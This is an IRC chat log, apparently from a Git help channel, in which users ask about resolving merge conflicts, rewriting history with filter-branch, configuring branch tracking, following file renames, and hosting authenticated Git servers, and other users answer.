	eldragon, Each of that "solve commits" should not be big work.	03:46
	eldragon, The thing that has normal continuation is "rebase". Do you want to rebase instead?	03:47
eldragon	how can i restore the changes that i did during the time of "solve conflicts"?	03:47
_Vi	eldragon, Between each "solve conflicts" session or during the one big "solve conflicts" session?	03:47
eldragon	if i can't restore the changes, i did lose them during my rewritings	03:47
	a long "solve conflicts" session	03:48
_Vi	eldragon, What command has you typed that made your changes appear to be "lost"?	03:48
	eldragon, (Long "solve conflicts" session is bad idea).	03:48
eldragon	_Vi, git can't	03:48
_Vi	eldragon, "git can't". I don't know such Git command.	03:49
eldragon	_Vi, bad idea is git, not the consequence.	03:49
_Vi	eldragon, No, Git is good idea. "a lot of conflicts" is bad idea.	03:49
	eldragon, And you should try "rebase" It will offer to resolve conflicts in each of your (or their) commits individually.	03:50
	eldragon, You told that you has some changes, but lost them. After what command they are lost?	03:50
	s/has /had /	03:50
eldragon	the git rejection did to me lose my works	03:51
	/my works/my last conflicted works/	03:52
	→ tjafk joined	03:52
eldragon	i'm not saying that git is buggy	03:52
	← aliasre left	03:53
	→ pheaver joined	03:53
	← tfarina_ left	03:53
_Vi	eldragon, What is "git rejection"?	03:54
	eldragon, What are you Git workflow? Console-based of GUI-based?	03:54
	→ schmukkk joined	03:54
eldragon	_Vi, git rejection is easy to understand, it's that git rejects that operation that wanted the human.	03:55
_Vi	eldragon, What operation caused "git rejection"?	03:55
	eldragon, What software are you using to work with Git?	03:55
eldragon	the last commit (merge in git) that git reject to accept due to a conflict	03:56
_Vi	eldragon, You have typed "git commit", it rejected and erased your changes?	03:56
eldragon	yes, it's	03:56
_Vi	eldragon, Very strange. Failed "git commit" should not change anything.	03:57
	eldragon, (I'll experiment with "git commit" with conflicts now)	03:57
eldragon	_Vi, you're not understanding what project is and what work is	03:58
	← ruediger left	03:59
_Vi	eldragon, "needs merge", "unmerged", "error: Error building trees" Were there such messages?	03:59
	→ developernotes joined	04:00
	← ruediger_ left	04:00
eldragon	i don't remember, i did the last files of my last works	04:00
_Vi	eldragon, I'm not understand how "git commit" can break things. It doesn't touch your working tree files.	04:00
eldragon	i don't remember, i did lose the last files of my last works	04:00
_Vi	eldragon, Had you run "git reset"?	04:01
	eldragon, or "git checkout"?	04:01
	eldragon, BTW what Git version are you using? (git --version)	04:01
eldragon	git co many times, but sometimes i backed some versions for different ways	04:02
	← developernotes left	04:02
_Vi	eldragon, "git checkout" also should not delete your files or undo your changes unless you specified "-f" option ro force checkouts.	04:02
eldragon	/versions/revisions/	04:02
	my personal problem is that my last modifications go in wrong way	04:02
	→ ishanj joined	04:03
	→ pheaver_ joined	04:03
_Vi	eldragon, E.g. yesterday you was fixing conflicts, attempted to run "git commit", it rejected and you've gone home. Now you've made bad edits and want to restore yesterday's state, right?	04:04
eldragon	yes!	04:04
ishanj	has converting code to use "-q" option been implemented?	04:04
_Vi	eldragon, Had you run "git add" for the work you've done yesterday?	04:05
	← Paraselene_ left	04:05
eldragon	i didn't	04:05
_Vi	eldragon, So Git doesn't know about what was done yesterday.	04:05
eldragon	i don't split to many branches	04:06
_Vi	eldragon, I think the information is actually lost. We can only to think how to prevent such things in future.	04:06
	← jmcantrell left	04:06
eldragon	i simply do many commits, sometimes i back some revisions due the last wrong way, do many commits again, then boomm, the problem.	04:07
_Vi	eldragon, "boom" is when you "git pull" or "git merge"?	04:07
	→ __skyl__ joined	04:07
	→ Tricon joined	04:08
eldragon	i didn't remember the last command	04:08
	← ishanj left	04:08
__skyl__	how can I set the current branch (master) to track a remote branch (origin/master)?	04:08
	← tjaway left	04:08
eldragon	but git rejected me due to conflicts, then my last works did bad.	04:08
__skyl__	I just want push/pull to know what I mean without ``$ git pull origin master``	04:08
_Vi	eldragon, I think if somebody suddenly faces a lot of conflicts, it firstly thing what is wrong and how to do it proper way before actually resolving everything by hand.	04:09
	← bcardarella left	04:09
_Vi	eldragon, You may, for example, completely resolve all conflicts in one file, then "git add" it.	04:09
	eldragon, Then resolve all conflicts in second file, "git add" it.	04:10
	eldragon, When they are added, you may restore them.	04:10
eldragon	since that git reported me the conflict, i couldn't do something with git until that i had cleaned my last works, but the latter was very long w/o the help of git.	04:10
_Vi	eldragon, (But if you change file and "git add" it again, the old added version will be restorable, but with problems)	04:11
	eldragon, Do you want to resolve conflicts, but also to continue normal work?	04:11
	eldragon, E.g. resolving conflicts, then switching to normal branch and doing normal work, then again resolving some more conflicts?	04:12
eldragon	_Vi, commiting all the works including the conflicted, and later going to resolve the conflicts that were stored.	04:13
	← pheaver left	04:14
	pheaver_ → pheaver	04:14
	← bentob0x left	04:14
_Vi	eldragon, (BTW you may "git add" conflicted file without actual resolution of conflicts, right with "<<<===>>>" markers)	04:14
	→ CaptTofu joined	04:15
eldragon	instead of commiting half of the non-conflicted works and rejecting the another half that is conflicted and that can't be committed somewhere.	04:15
_Vi	eldragon, Git will stop considering them as conflicts, and you can manually resolve them (you will search for "<<<" strings).	04:15
	→ ultravio1et joined	04:15
_Vi	eldragon, Again, if you very want to commit the conflicts, you may just mark them all as resolved and commit as is (but not push such thing, of couse).	04:16
eldragon	_Vi, instead of do it manually, why git can't do it?	04:16
_Vi	eldragon, What doing manually? "git add ."?	04:17
	→ chuck joined	04:17
chuck	Can I figure out if there are any changes in all branches that need to be pushed?	04:17
_Vi	chuck, "git status"	04:17
chuck	I think "git push" is only pushing the current branch, but I'll check again	04:17
	_Vi, isn't that for the current branch?	04:17
_Vi	chuck, Yes, it is.	04:18
chuck	what about across all branches?	04:18
	→ jrmuizel joined	04:18
	→ jelmer joined	04:18
_Vi	eldragon, After some "conflict resolution" commits (git will consider them as normal commits actually), you may squash them into single "merge" commit that resolves all conflicts.	04:18
	chuck, Probably you need some script.	04:19
	chuck, Why do you need it?	04:19
	← jrmuizel left	04:19
eldragon	i think that while i'm developing, i should use Hg instead of git until that terminate the project clean of conflicts, and later migrating hg repo to git repo, it's unnecessary, i only need hg repo. Good bye.	04:20
chuck	_Vi, well, does "git push" push changes that aren't on the current branch assuming the other branches are setup in .git/config to track?	04:21
_Vi	eldragon, Git implies some things. Sometimes other DVCS are actually better suited for the task. /* Does Mercurial store conflicts well? */	04:21
	chuck, I think your should configure it explicitly or (better) use longer version of "git push".	04:22
	→ Jak_o_Shadows joined	04:22
_Vi	chuck, "git push origin --all", "git push origin master".	04:22
chuck	oh, okay	04:23
	← ultraviolet left	04:28
	→ munichlinux joined	04:29
	← shtylman left	04:29
	← LiamH left	04:35
	← fishey1 left	04:36
cxreg	hm, it might be nice to have "--only" or "--unmerged" for log, that gives you commits which exist only on that branch	04:36
	i know you can do it with a for-each-ref \| grep, but it'd be a nice shortcut	04:37
	← daifuku left	04:41
	← spearce left	04:41
	→ daifuku joined	04:42
	→ killerchicken joined	04:45
killerchicken	Hey, does anyone know any prominent projects using gitosis/gitolite?	04:46
	← __skyl__ left	04:48
	← JoeConyers left	04:51
	→ LRN joined	04:52
	← aresnick left	04:54
	→ dandy0299 joined	05:00
	→ Twisted_Mentat joined	05:01
	← sanslocust left	05:03
	→ sanslocust joined	05:06
	← aspotashev left	05:06
	← tobias__ left	05:07
	← swisherpop left	05:08
	→ RaceCondition joined	05:08
	→ tekky joined	05:08
	← daifuku left	05:10
	→ daifuku joined	05:11
	→ swisherpop joined	05:11
elliottcable	Hey all.	05:12
	I’ve got some surgery I need to do with filter-branch. I copied a repository to a new location, and am preparing to destruct on it a bit.	05:12
	Here’s the original: http://github.com/elliottcable/poopy.js/tree/from	05:13
_Vi	elliottcable, "git filter-branch" creates backup automatically.	05:13
elliottcable	_Vi: yeah, but I still want the original repository. I’m forking some code out of it.	05:13
killerchicken	having an extra backup is always a good idea anyways :)	05:13
elliottcable	_Vi: once I’ve completed the surgery on the new repo, I’m going to normally-remove the stuff I filtered out into the new one, and then commit that to the old one	05:13
	anyway… I simply need to remove any commits that only touched ./lib/poopy.js and ./README.markdown; everything else is moving into the new repo	05:14
	this example from the manpage looks relevant, except that it doesn’t discard all other history as the --subdirectory-filter does	05:15
	`git filter-branch --index-filter 'git rm --cached --ignore-unmatch filename' HEAD`	05:15
_Vi	elliottcable, Ask the question.	05:16
elliottcable	I think that was the question…	05:16
_Vi	elliottcable, (See no question mark, nowhere to start reading from)	05:16
elliottcable	… lol	05:17
_Vi	elliottcable, E.g. "How to do it?" or "Am I doing it right?"	05:17
	elliottcable, What to do with commits that has touched both your files and other files?	05:17
elliottcable	remove the modifications to the files I wish to remove from the history	05:18
	i.e. the new project’s history should start out with only the bits that touched the files relevant to the new project	05:18
_Vi	elliottcable, Do you expect to run some action that can produce conflicts?	05:19
elliottcable	hrm?	05:19
	I tried `git filter-branch --index-filter 'git rm --cached --ignore-unmatch README.markdown lib/poopy.js' HEAD`	05:19
	but comparing the two repos now, it’s odd; I seem to have commits with absolutely no changes attached to them	05:19
_Vi	elliottcable, Do you want to split repository into two parts?	05:19
elliottcable	I didn’t even know that was possible d-:	05:19
	_Vi: the old repo can stay the way it is. I’m simply going to commit `git rm`s of the moved stuff, along with note of the new project	05:20
_Vi	elliottcable, Commits with no changes? There are probably some option to remove them.	05:20
elliottcable	_Vi: but I’d prefer if the old, irrelevant stuff weren}t a part of the new repo	05:20
_Vi	elliottcable, "--prune-empty"?	05:20
elliottcable	_Vi: to what command? filter-branch manpage doesn’t mention it	05:21
	ack!	05:21
_Vi	elliottcable, It does.	05:21
elliottcable	ignore that, mis-grep	05:21
	→ Pupeno joined	05:21
	← Pupeno left	05:21
_Vi	elliottcable, "git filter-branch --prune-empty --index-filter 'git rm --cached --ignore-unmatch README.markdown lib/poopy.js' HEAD"	05:21
	→ kevwil joined	05:24
	← cloudhead left	05:24
	← kevwil left	05:25
elliottcable	that is neat!	05:26
	thanks again, _Vi, you’re invaluable	05:26
	← jelmer left	05:27
EricInBNE	is there a way with Egit to bring up the git team console, with a hotkey?	05:30
sunaku	what is "git team console"?	05:31
	oh, never mind. EGit == eclipse	05:32
EricInBNE	yeah, one of the team does not want to use git without eclipse	05:32
	← mithro left	05:34
sunaku	i think you can bind pretty much anything to shortcuts in eclipse	05:34
EricInBNE	im not enough of a eclipse wizard to know, but ive looked in what I thought were the standard places	05:34
	← Jak_o_Shadows left	05:34
	← DrAk0 left	05:37
	→ mithro joined	05:37
	← bry left	05:38
killerchicken	How do I find the commit that created a file?	05:40
	(following renames etc)	05:40
_Vi	killerchicken, "git log -- path/to/file".	05:40
	← daifuku left	05:40
_Vi	killerchicken, "git log -M -- path/to/file"?	05:41
killerchicken	hah	05:41
	thanks!	05:41
	→ daifuku joined	05:42
	→ project2501a joined	05:43
	← madewokherd left	05:48
killerchicken	hrm	05:49
	-M doesn't seem to be working.	05:49
_Vi	killerchicken, "-M -M" or "-C -M"?	05:49
	killerchicken, "-M -C --find-copies-harder"?	05:50
killerchicken	no dice	05:50
	yet gitk <first commit of git log output> shows a file rename with similarity index 100%.	05:51
_Vi	killerchicken, Strange. May be the path for after "--" is not follows renames...	05:51
	← Tricon left	05:51
killerchicken	hm	05:52
	I'll try the ml tomorrow, I guess.	05:52
	good night for now.	05:52
_Vi	killerchicken, "--follow"?	05:52
killerchicken	yeah!	05:53
	works	05:53
	thanks	05:53
	→ sontek joined	05:53
sontek	Hey, I just setup my server to host a git repository because github charges for private stuff... But when I do a git pull it says "you asked me to pull without telling me which branch you want to merge with"	05:54
	I never had to do anything like that with my github repos	05:54
	it just new I wanted the master repo	05:54
_Vi	sontek, "git push your_remote_name your_local_branch:remote_branch_to_create"	05:54
	sontek, (Probably "git push origin master:master")	05:54
sontek	I did this earlier: git push origin maste	05:55
	and now when I say 'git push' it works fine	05:55
	just not the git pull	05:56
_Vi	sontek, Keep on using "git push origin master". Or there is some config option for defaults for push.	05:56
sontek	wlel my problem isn't with the push, its with the pull	05:56
	← juan_arandaalvar left	05:56
sontek	well*	05:57
_Vi	sontek, "git config branch.master.remote origin"	05:57
	sontek, "git config branch.master.merge master".	05:57
sontek	Why did I have to do that when I didn't for github?	05:58
_Vi	sontek, because of you start working with github using "git clone"?	05:58
sontek	ahh, where this time I created the repo after the fact	05:59
	that makes sense	05:59
	thanks :]	05:59
	← schmukkk left	06:00
	→ csanz joined	06:04
	← kukks left	06:05
	← sontek left	06:08
	← agile left	06:09
	← erikvold left	06:10
	→ erikvold joined	06:10
	← erikvold left	06:11
	← dgarrw left	06:13
	→ dgarrw joined	06:14
	← dgarrw left	06:14
	← eldragon left	06:14
	→ agile joined	06:15
	→ munichpython joined	06:16
	← godsflaw left	06:17
	← munichlinux left	06:18
	← pheaver left	06:22
	→ ultraviolet joined	06:25
	→ erikvold joined	06:27
	← cenuij left	06:33
	→ Jak_o_Shadows joined	06:37
	→ cenuij joined	06:37
	← daifuku left	06:40
	← dandy0299 left	06:40
	← ultravio1et left	06:40
	→ daifuku joined	06:41
	← munichpython left	06:41
	→ schmukkk joined	06:44
	← Rolenun left	06:44
	→ Axius joined	06:47
	← schmukkk left	06:50
	→ pheaver joined	06:54
	→ Rolenun joined	06:54
	← adamm left	06:57
	← pheaver left	07:06
	→ pheaver joined	07:07
	→ scarabx joined	07:26
	→ amerine joined	07:27
	→ OtherJakeSays joined	07:39
	→ priidu joined	07:40
	← csanz left	07:54
	← mbernstein left	07:55
	← JakeSays left	07:57
	← sudoer left	07:57
	→ ultravio1et joined	08:01
	→ thiago_home joined	08:04
	← ultraviolet left	08:15
	← manithree left	08:20
	← pheaver left	08:24
	← amerine left	08:25
	→ Fissure joined	08:26
	← Modius left	08:26
	← scarabx left	08:27
	← xlistener left	08:31
	→ ihoka joined	08:33
	← cenuij left	08:34
	→ cenuij joined	08:35
	→ Axius_ joined	08:38
	← daifuku left	08:39
	← Twisted_Mentat left	08:41
	→ daifuku joined	08:41
	VVSiz_ → VVSiz	08:42
	→ sis joined	08:45
	← sis left	08:47
	→ d0ugal joined	08:48
	→ alert3 joined	08:52
	← alert3 left	08:54
	← lmm left	08:55
	→ schmukkk joined	08:55
	→ dirk2 joined	08:55
	← mcdebugger left	08:57
disappearedng	Anything out there that allows us to set up a git server which has authentication protection	08:58
Tass`	disappearedng, sshd?	08:58
disappearedng	I don't know	08:59
	is ssh the only option?:	08:59
Tass`	it's the easiest one	08:59
disappearedng	ok then	08:59
Tass`	as ssh auth is fucking easy - just drop some ssh keys ;-)	09:00
disappearedng	but then I gotta create a new user on my computer	09:00
Tass`	and there's even a git-shell to only allow git	09:00
disappearedng	and root him	09:00
Tass`	root? WTF?	09:00
disappearedng	and *jail him	09:00
	→ mcdebugger joined	09:00
	→ pantsman joined	09:00
disappearedng	typo	09:00
	i was thinking of chroot him	09:01
Tass`	just give him a git-only shell	09:01
disappearedng	huh,	09:01
Tass`	and I'm fucking sure there's something out there - use goole	09:01
Ilari	disappearedng: ssh:// is pretty much the only one that works with released versions.	09:01
	disappearedng: Also, gitolite	09:02
	← Axius_ left	09:02
Ilari	disappearedng: Well, there's smart HTTP, but authentication sucks and it needs 1.6.6 on both sides.	09:02
	→ Axius_ joined	09:02
Tass`	Ilari, smart HTTP?	09:03
Ilari	Tass`: Smart transport over HTTP. Solves the performance problems of http fetch and push (but unfortunately not authentication problems).	09:05
	Tass`: New feature in 1.6.6	09:05
Tass`	sooo why do we need it? ;-)	09:05
Ilari	Also, hooks don't work properly with smart HTTP. Smart HTTP is lot better than the old one if you are limited to HTTP.	09:06
	← Axius left	09:08
	← segher left	09:09
Ilari	Not work properly => They execute, but client doesn't get the output of hooks.	09:12
	← Axius_ left	09:13
	→ Axius joined	09:14
	← hobodave left	09:15
thiago_home	which is better than the previous one	09:17
	in which you couldn't push at all :-)	09:17
Tass`	how to show the diff between master and the staged files?	09:17
thiago_home	Tass`: git diff --cached	09:17
	though that's technically between HEAD and the staged files	09:18
	→ ph^_ joined	09:18
thiago_home	you can't compare the staging area to anything but HEAD and the checkout	09:18
	→ maxter joined	09:19
Tass`	how to pull a branch from github?	09:19
	→ xiong joined	09:20
	→ [reaVer] joined	09:21
Tass`	hm.	09:23
Ilari	'git diff --cached <commit>'.	09:23
	Diff of staging area with <commit> as base.	09:23
Tass`	what's nice for merging conflics? plain vim? :-)	09:24
	→ til joined	09:24
cehteh	no, emacs	09:24
alip	lolemacs	09:25
	← disappearedng left	09:25
	← agile left	09:26
kahmalo	cehteh: do you use just C-s <<<<< in that or something more clever?	09:26
cehteh	hehe	09:26
	acually i do, but emacs has a diff/merge mode too	09:26
	← jbauman_ left	09:26
	→ imajes joined	09:26
cehteh	well when you want some gui for merging, take a look at meld	09:26
	→ d0k joined	09:27
kahmalo	cehteh: there's ediff and emerge in emacs but it seems to me like those are unable to search for conflict markers, at least I haven't found such a feature	09:28
	→ hyperair joined	09:29
	→ agile joined	09:29
kahmalo	oh there's smerge for that, apparently. I'll have to try it out	09:30
xiong	Tass`, If you like a GUI tool, there is Diffuse (simpler) and Meld (more powerful).	09:30
Tass`	xiong, not needed.	09:32
	← reaVer left	09:33
	→ anno^da joined	09:35
Tass`	... great. I've got a merge, deleted some files, and now git tells me fatal: unable to stat 'dota/models/league.rb': No such file or directory	09:37
	oh, git rm :-)	09:38
	← daifuku left	09:39
	→ sgh joined	09:39
	→ daifuku joined	09:41
	→ brizly joined	09:41
	→ robinr joined	09:42
	← p_masho left	09:43
	← ihoka left	09:47
	→ ixti joined	09:48
	→ nico- joined	09:52
	← priidu left	09:53
	→ priidu joined	09:54
	→ priidu_ joined	09:57
	← priidu left	09:57
	→ gajop joined	10:02
	← r11t left	10:02
gajop	how can i revert a commit on the remote branch?	10:02
	if i don't have it on the local branch where i have some changes	10:02
	→ ihoka joined	10:05
	← tetha left	10:10
	→ tetha joined	10:11
	→ Haarg joined	10:12
	→ balint joined	10:12
Ilari	gajop: Only commits in current branch can be reverted.	10:13
	gajop: Since revert may need to resolve conflicts.	10:14
	→ yatiohi joined	10:14
	→ d0k_ joined	10:17
	← Axius left	10:18
	→ Axius joined	10:18
	← Axius left	10:19
	← d0k left	10:24
	d0k_ → d0k	10:24
	→ ignorabimus joined	10:24
ignorabimus	I try to understand the possibilities of github, and fail to make a project/repository-page. Can you tell me what I do wrong?	10:26
	← hgimenez left	10:26
ignorabimus	The personal page for zenon works: http://zenon.github.com/ but thats a seperate repo.	10:27
	Zenopus is away	10:27
	→ Axius joined	10:29
	→ bousquet joined	10:29
ignorabimus	but the project page http://zenon.github.com/ai_zero doesnt work, even if I made the gh-pages branch.	10:29
	← nico- left	10:35
Tass`	how to recover a file deleted in an earlier revision?	10:36
Ilari	Tass`: 'git checkout <revision> -- <file>'.	10:37
Tass`	Ilari, I don't know the revision :-)	10:37
Ilari	Tass`: 'git log --diff-filter=D -- <file>' should show the revision that deleted it. The parent of it (use the ^ operator) should contain it.	10:39
	← Axius left	10:39
	→ Axius joined	10:39
	→ cantoma joined	10:39
	← balint left	10:40
	← Axius left	10:40
Tass`	thanks ;-)	10:40
	→ Axius joined	10:41
	← ultravio1et left	10:41
	→ killerchicken_ joined	10:42
	← MrMagic left	10:42
	→ ramlev joined	10:44
	← brizly left	10:46
	→ brizly joined	10:47
	← RaceCondition left	10:48
	→ psoo joined	10:49
	← hyperair left	10:49
	→ MrMagic joined	10:50
	← killerchicken left	10:52
	→ hyperair joined	10:55
	← maxter left	10:56
	← Jak_o_Shadows left	10:58
	→ Scorchin joined	10:59
	→ Zephyrus joined	11:00
	← Axius left	11:01
	→ jceb joined	11:01
	← JEEB left	11:01
	→ khmarbaise joined	11:03
	← NotADJ left	11:04
	← ereslibre left	11:04
	← sgh left	11:05
	→ hobodave joined	11:05
	← daifuku left	11:06
	→ daifuku joined	11:07
	← ihoka left	11:12
	→ \ask joined	11:16
	→ becomingGuru joined	11:17
	← hyperair left	11:17
	← greya left	11:17
	→ hyperair joined	11:18
	→ v0n joined	11:19
xiong	Please see: http://git.pastebin.com/d58cb0817	11:19
	← x-demon left	11:19
	← v0n left	11:19
Ilari	xiong: IIRC, for A) undoing ignore of directory doesn't work for some reason. For B), 'foo/' only matches directories, not symlinks.	11:21
	→ NotADJ joined	11:22
xiong	Ilari, Then I should say "ignore all contents of old/ except @THISFOLDER" all in one rule? How? And how to ignore symlinks?	11:23
	← ignorabimus left	11:23
	← un0mi left	11:23
Ilari	xiong: At least putting '!*' to old/@THISFOLDER/.gitignore should work...	11:25
	← NotADJ left	11:26
xiong	Ilari, @THISFOLDER is a text file; it documents the purpose of its enclosing folder. Perhaps something in old/.gitignore will work.	11:27
Ilari	xiong: Or just force-add that file.	11:27
xiong	Ilari, Well, I'd like to avoid having to do stuff manually; I'm likely to forget at some point.	11:29
	Adding old/.gitignore with !@THISFOLDER didn't work. I'm thinking that I may be overdoing this.	11:29
	In an actual project, I definitely don't want anything tracked in old/.	11:30
	What about not tracking symlinks?	11:30
	→ TDJACR joined	11:32
	← daifuku left	11:34
	← TDJACR left	11:35
	→ daifuku joined	11:35
	→ malumalu joined	11:36
	→ pgalbraith joined	11:37
	← yatiohi left	11:43
	← CaptTofu left	11:47
	← ramlev left	11:50
	→ TDJACR joined	11:50
	→ eut joined	11:50
eut	hello	11:50
bremner	what is the best way to generate patches to a DOS line-ending (cr lf) file on linux? use --ignore-space-change?	11:50
eut	i've just committed a series of small changes and realized that i made a typo in one of the earlier ones. i have not pushed anything out yet. is there a way to go back and modify that early commit?	11:51
	→ iley joined	11:51
bremner	eut: git rebase --interactive, choose 'edit'	11:52
	→ jtdouy joined	11:55
	← spacebat_ left	12:00
	→ Paraselene_ joined	12:01
	→ parasti joined	12:01
	← daifuku left	12:03
	← Tommy[D] left	12:03
	→ Tommy[D] joined	12:04
	→ daifuku joined	12:05
	← gk left	12:07
	→ gk joined	12:07
	← maioO left	12:08
	← gunmuc left	12:09
	← bousquet left	12:11
	→ gunmuc joined	12:12
	→ tbuehlmann joined	12:18
	→ jotik joined	12:18
	→ H4ns joined	12:20
	← priidu_ left	12:23
	→ neoice joined	12:23
	→ priidu joined	12:23
neoice	I'm guessing that since Google hasnt turned up an answer, there's not a good way to clone from Gitweb	12:24
	→ vvsh joined	12:25
Ilari	neoice: ?	12:27
neoice	the gitweb cgi? there's not a good way to just 'git clone $URL' as far as I can tell	12:28
bremner	works for me; there might have to be some setup on the http server side	12:28
neoice	do you have an example command? it could just be 430am and I'm doing something stupid	12:29
bremner	but gitweb isn't really involved with cloning over http	12:29
	git clone http://host/path/to/repo	12:29
Ilari	neoice: Usually there is seperate clone URL and gitweb URL (they can be overlayed; but...) And besides, git:// and ssh:// should be used instead of http://	12:29
	← daifuku left	12:30
	→ daifuku joined	12:31
	← jotik^^ left	12:32
	→ munichlinux joined	12:35
	→ spacebat joined	12:35
eut	bremner, thanks, got it to work :]	12:37
	← pantsman left	12:39
	→ Axius joined	12:41
	← dirk2 left	12:41
	← _Vi left	12:42
	← project2501a left	12:43
	→ Axius_ joined	12:45
	← whaley left	12:45
	→ whaley joined	12:45
	← Axius_ left	12:48
	← neoice left	12:48
	→ Axius_ joined	12:49
	← alip left	12:52
	→ xaxes joined	12:54
	→ alip joined	12:55
	← Axius_ left	12:56
	→ Axius_ joined	12:56
	← kpreid_ left	12:57
	→ kpreid_ joined	12:57
	← Axius_ left	12:59
	→ Axius_ joined	12:59
	← Axius left	13:01
	← iley left	13:02
	← tekky left	13:03
	→ munichpython joined	13:04
	→ project2501a joined	13:06
	← hobodave left	13:06
	→ nickrw joined	13:07
	← munichlinux left	13:07
	munichpython → munichlinux	13:07
	→ keex joined	13:08
	← Jaxoreth left	13:08
	→ jjuran joined	13:08
	→ ereslibre joined	13:11
	→ disappearedng joined	13:13
	→ bry joined	13:13
	→ aliasre joined	13:16
	← anno^da left	13:16
	← [reaVer] left	13:17
	→ reaVer joined	13:17
	→ stamina_ joined	13:18
	← til left	13:19
bremner	what is the plumbing way of saying "would this merge do anything?" ?	13:20
	→ jas4711 joined	13:21
	← keex left	13:23
	← daifuku left	13:27
	← stamina_ left	13:27
wereHamster	git merge-base HEAD <commit-ish> == git rev-parse HEAD	13:28
	→ stamina_ joined	13:28
wereHamster	or you can use git log ...<commit-ish>	13:28
	(three dots!)	13:28
	→ daifuku joined	13:29
	→ H4ns1 joined	13:30
	→ jotik^^ joined	13:30
	→ jotik_ joined	13:34
	→ __iron joined	13:34
	← project2501a left	13:40
disappearedng	Can someone tell me what does receive.denyCurrentBranch do?	13:44
	← H4ns left	13:45
	← jotik left	13:46
murr4y	Setting receive.denycurrentbranch to "ignore" on the server eliminates a warning issued by recent versions of git when you push an update to a checked-out branch on the server. (Thanks to Miklos Vajna for pointing this out.)	13:46
wereHamster	disappearedng: man git-config	13:46
Gitbot	disappearedng: the git-config manpage can be found at http://git.or.cz/man/git-config	13:46
	→ nico- joined	13:46
murr4y	or that :)	13:47
disappearedng	if I do not allow fellow developers to push to master, how do I make that happen?	13:47
	← ereslibre left	13:47
	→ Boriskr joined	13:47
	→ zoniq joined	13:49
	← nico- left	13:49
wereHamster	how to make what happen?	13:49
	→ nico- joined	13:50
disappearedng	ok I realize that's what I want to do	13:50
	← nico- left	13:50
	← jotik^^ left	13:50
disappearedng	let say I turn that to on, and then I push my commits to a new branch with git push origin localbranch:foreignnewbranch	13:51
	then how do I get my repos to rebase foreignnewbranch to master?	13:51
	→ icwiener joined	13:51
wereHamster	git checkout localbranch; git rebase master ?	13:53
	← ferdy left	13:53
	→ maattd_ joined	13:53
	→ nico- joined	13:53
	← nico- left	13:53
disappearedng	that's only when you are on the master right?	13:53
	wereHamster doesn't quite understand what disappearedng wants to do	13:53
disappearedng	ok let me show you	13:53
	A has the repos, B is where I am on now, While on B, I did a git commit origin mybranch:branch_to_be_merged	13:54
	then while still being on B, how do I tell A to merge branch_to_be_merged to A's master?	13:54
	→ ferdy joined	13:54
wereHamster	what is A? a computer?	13:55
gebi	disappearedng: denying access to part of an repo is covered with the update-paranoid hook from contrib/ section	13:55
	→ LiamH joined	13:56
	← daifuku left	13:57
	→ nico- joined	13:58
	→ Bass10 joined	13:58
	← nico- left	13:58
	→ daifuku joined	13:59
	← Bass10 left	13:59
	→ Bass10 joined	14:00
	← maattd left	14:02
	maattd_ → maattd	14:02
	→ nico- joined	14:04
	→ munichpython joined	14:05
	← munichlinux left	14:05
	munichpython → munichlinux	14:05
	← malumalu left	14:07
	→ malumalu joined	14:08
	→ cloudhead joined	14:09
	← nico- left	14:14
	← Chillance left	14:14
	← psoo left	14:16
jast	disappearedng: you can only merge things locally and in a checked out branch unless it's a fast-forward merge	14:16
	there is no way to force other repositories to merge/rebase a certain branch	14:17
	→ ecwNick joined	14:19
	← candybar left	14:20
	← nickrw left	14:21
	ecwNick → nickrw	14:21
	← jceb left	14:21
disappearedng	jast: then how do I ensure that my repos is always up to date	14:22
	→ ramlev joined	14:22
disappearedng	as in when other developers do a git pull how do they know there's another branch	14:22
	← Zephyrus left	14:22
bremner	wereHamster: thanks, I missed your response at first. Too many projects going on at once :)	14:28
	→ corni joined	14:28
	← cedricv left	14:29
	← jotik_ left	14:29
	→ auslander joined	14:29
	← munichlinux left	14:30
rgr	how to show las	14:39
	oops. How to show files committed in last commit?	14:40
LoRe	rgr: git log --stat -1	14:43
parasti	or git show --stat	14:43
	← H4ns1 left	14:43
drizzd	git diff --name-only HEAD HEAD^	14:43
rgr	crikey. thanks. Was trying "git show #"	14:43
	← cloudhead left	14:48
	→ Zephyrus joined	14:54
	← stamina_ left	14:55
	→ dajero joined	14:56
	← daifuku left	14:58
	→ daifuku joined	14:59
	← dajero left	15:02
	→ project2501a joined	15:03
	→ reprore joined	15:03
d-snp	if I accidentily chmod -R my git repo containing folder, is there a way to restore it?	15:04
rgr	using emacs for a couple of years now, and still I cant install it by hand and get info files working. same story every bloody time. why why is the info system so damn convoluted? I know the infopath is pointing at the right place.	15:04
selckin	d-snp: git doesn't store premissions	15:05
_rane	what?	15:05
d-snp	selckin: ok, so it's just a matter of finding the right permissions and adding them again?	15:05
	is there anything in a git repo that has special permissions?	15:05
selckin	d-snp: don't think so no	15:06
d-snp	hmm	15:06
killerchicken_	d-snp: chmod -R u+rw path/to/repo	15:09
	that should do it.	15:09
	→ project2501b joined	15:10
selckin	that strongly depends on what he changed them too	15:10
killerchicken_	selckin: How so? That should at least restore a working git dir, no?	15:11
selckin	killerchicken_: what about: chmod -R 600 .git; find -type d -exec chmod +x {} \;	15:11
killerchicken_	ah, heh. of course.	15:12
	← project2501a left	15:13
	← douilspee left	15:13
d-snp	:P	15:14
qknight	i've downloaded a very very old commit and adapted it (since i wanted to look at some gui stuff which is now done fundamentally different) however i would like to commit this back to the tree to have a place to look at (gui wise it would be helpful). so using a 'branche' would be the way to go?	15:14
selckin	can just branch off the old commit, and commit on top of that sure	15:15
d-snp	thanks guys, now I don't know why one of my users gets:	15:17
	fatal: object c583fba4310fdfefb9085ed82c9eac56a1e084c9 is corrupted	15:17
	the permissions all look ok	15:18
	→ hgimenez joined	15:18
	→ bentob0x joined	15:18
	← auslander left	15:20
	→ jotik joined	15:20
qknight	selckin: thanks	15:20
	→ aziz joined	15:21
cbreak	maybe that object is corrupted?	15:22
	does git fsck say something?	15:23
	can you compare it's hash with that of an other one in an other repository?	15:23
	← rgr left	15:24
	→ ruediger joined	15:24
d-snp	it says something about dangling commits	15:26
	but nothing about corrupted things	15:26
	not the same object either	15:26
	→ Axius joined	15:28
	→ t0rc joined	15:29
	← daifuku left	15:29
	→ daifuku joined	15:31
	← disappearedng left	15:32
	→ segher joined	15:35
	→ flaguy48 joined	15:35
	← segher left	15:36
	→ segher joined	15:37
	← Axius_ left	15:41
	→ Axius_ joined	15:41
	→ gebi_ joined	15:42
	← Axius left	15:42
	← gebi left	15:47
xiong	I don't see anything in git-mv that allows me to change the location of .git/ itself.	15:48
	→ Alagar joined	15:48
Pieter	xiong: look at .gitlinks	15:49
